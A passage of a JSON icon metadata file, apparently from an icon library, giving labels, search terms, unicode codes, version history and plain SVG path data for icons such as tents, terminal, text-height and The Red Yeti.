        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M209.8 111.9c-8.9-9.9-24-10.7-33.9-1.8l-39.9 36L136 24c0-13.3-10.7-24-24-24S88 10.7 88 24l0 122.1-39.9-36c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9l80 72c9.1 8.2 23 8.2 32.1 0l80-72c9.9-8.9 10.7-24 1.8-33.9zm352 0c-8.9-9.9-24-10.7-33.9-1.8l-39.9 36V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V146.1l-39.9-36c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9l80 72c9.1 8.2 23 8.2 32.1 0l80-72c9.9-8.9 10.7-24 1.8-33.9zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M209.8 111.9c-8.9-9.9-24-10.7-33.9-1.8l-39.9 36L136 24c0-13.3-10.7-24-24-24S88 10.7 88 24l0 122.1-39.9-36c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9l80 72c9.1 8.2 23 8.2 32.1 0l80-72c9.9-8.9 10.7-24 1.8-33.9zm352 0c-8.9-9.9-24-10.7-33.9-1.8l-39.9 36V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V146.1l-39.9-36c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9l80 72c9.1 8.2 23 8.2 32.1 0l80-72c9.9-8.9 10.7-24 1.8-33.9zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z"
      }
    },
    "free": ["solid"]
  },
  "tents": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bivouac", "campground", "refugee", "shelter", "tent"]
    },
    "styles": ["solid"],
    "unicode": "e582",
    "label": "Tents",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M396.6 6.5L235.8 129.1c9.6 1.8 18.9 5.8 27 12l168 128c13.2 10.1 22 24.9 24.5 41.4l6.2 41.5H608c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128c-11.5-8.7-27.3-8.7-38.8 0zm-153.2 160c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S22.7 512 32 512H224V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M396.6 6.5L235.8 129.1c9.6 1.8 18.9 5.8 27 12l168 128c13.2 10.1 22 24.9 24.5 41.4l6.2 41.5H608c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128c-11.5-8.7-27.3-8.7-38.8 0zm-153.2 160c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S22.7 512 32 512H224V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z"
      }
    },
    "free": ["solid"]
  },
  "terminal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f120"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "code",
        "coding",
        "command",
        "console",
        "development",
        "prompt",
        "terminal"
      ]
    },
    "styles": ["solid"],
    "unicode": "f120",
    "label": "Terminal",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M9.4 86.6C-3.1 74.1-3.1 53.9 9.4 41.4s32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3l-192 192c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L178.7 256 9.4 86.6zM256 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M9.4 86.6C-3.1 74.1-3.1 53.9 9.4 41.4s32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3l-192 192c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L178.7 256 9.4 86.6zM256 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "text-height": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f034"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f034",
    "label": "Text Height",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767248,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 128V96h64l0 320H96c-17.7 0-32 14.3-32 32s14.3 32 32 32H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H192l0-320h64v32c0 17.7 14.3 32 32 32s32-14.3 32-32V80c0-26.5-21.5-48-48-48H160 48C21.5 32 0 53.5 0 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32zM502.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32V352H416c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H512V160h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 128V96h64l0 320H96c-17.7 0-32 14.3-32 32s14.3 32 32 32H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H192l0-320h64v32c0 17.7 14.3 32 32 32s32-14.3 32-32V80c0-26.5-21.5-48-48-48H160 48C21.5 32 0 53.5 0 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32zM502.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32V352H416c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H512V160h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64z"
      }
    },
    "free": ["solid"]
  },
  "text-slash": {
    "aliases": {
      "names": ["remove-format"],
      "unicodes": {
        "secondary": ["10f87d"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cancel", "font", "format", "remove", "style", "text"]
    },
    "styles": ["solid"],
    "unicode": "f87d",
    "label": "Text Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L355.7 253.5 400.2 96H503L497 120.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l11-44.1C577.6 61.3 554.7 32 523.5 32H376.1h-.3H204.5c-22 0-41.2 15-46.6 36.4l-6.3 25.2L38.8 5.1zm168 131.7c.1-.3 .2-.7 .3-1L217 96H333.7L301.3 210.8l-94.5-74.1zM243.3 416H192c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H309.8l17.6-62.1L272.9 311 243.3 416z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L355.7 253.5 400.2 96H503L497 120.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l11-44.1C577.6 61.3 554.7 32 523.5 32H376.1h-.3H204.5c-22 0-41.2 15-46.6 36.4l-6.3 25.2L38.8 5.1zm168 131.7c.1-.3 .2-.7 .3-1L217 96H333.7L301.3 210.8l-94.5-74.1zM243.3 416H192c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H309.8l17.6-62.1L272.9 311 243.3 416z"
      }
    },
    "free": ["solid"]
  },
  "text-width": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f035"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f035",
    "label": "Text Width",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 128V96H192l0 128H176c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H256l0-128H384v32c0 17.7 14.3 32 32 32s32-14.3 32-32V80c0-26.5-21.5-48-48-48H224 48C21.5 32 0 53.5 0 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32zM9.4 361.4c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V416H320v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6v32H128V320c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 128V96H192l0 128H176c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H256l0-128H384v32c0 17.7 14.3 32 32 32s32-14.3 32-32V80c0-26.5-21.5-48-48-48H224 48C21.5 32 0 53.5 0 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32zM9.4 361.4c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V416H320v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6v32H128V320c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64z"
      }
    },
    "free": ["solid"]
  },
  "the-red-yeti": {
    "changes": ["5.3.0", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f69d",
    "label": "The Red Yeti",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 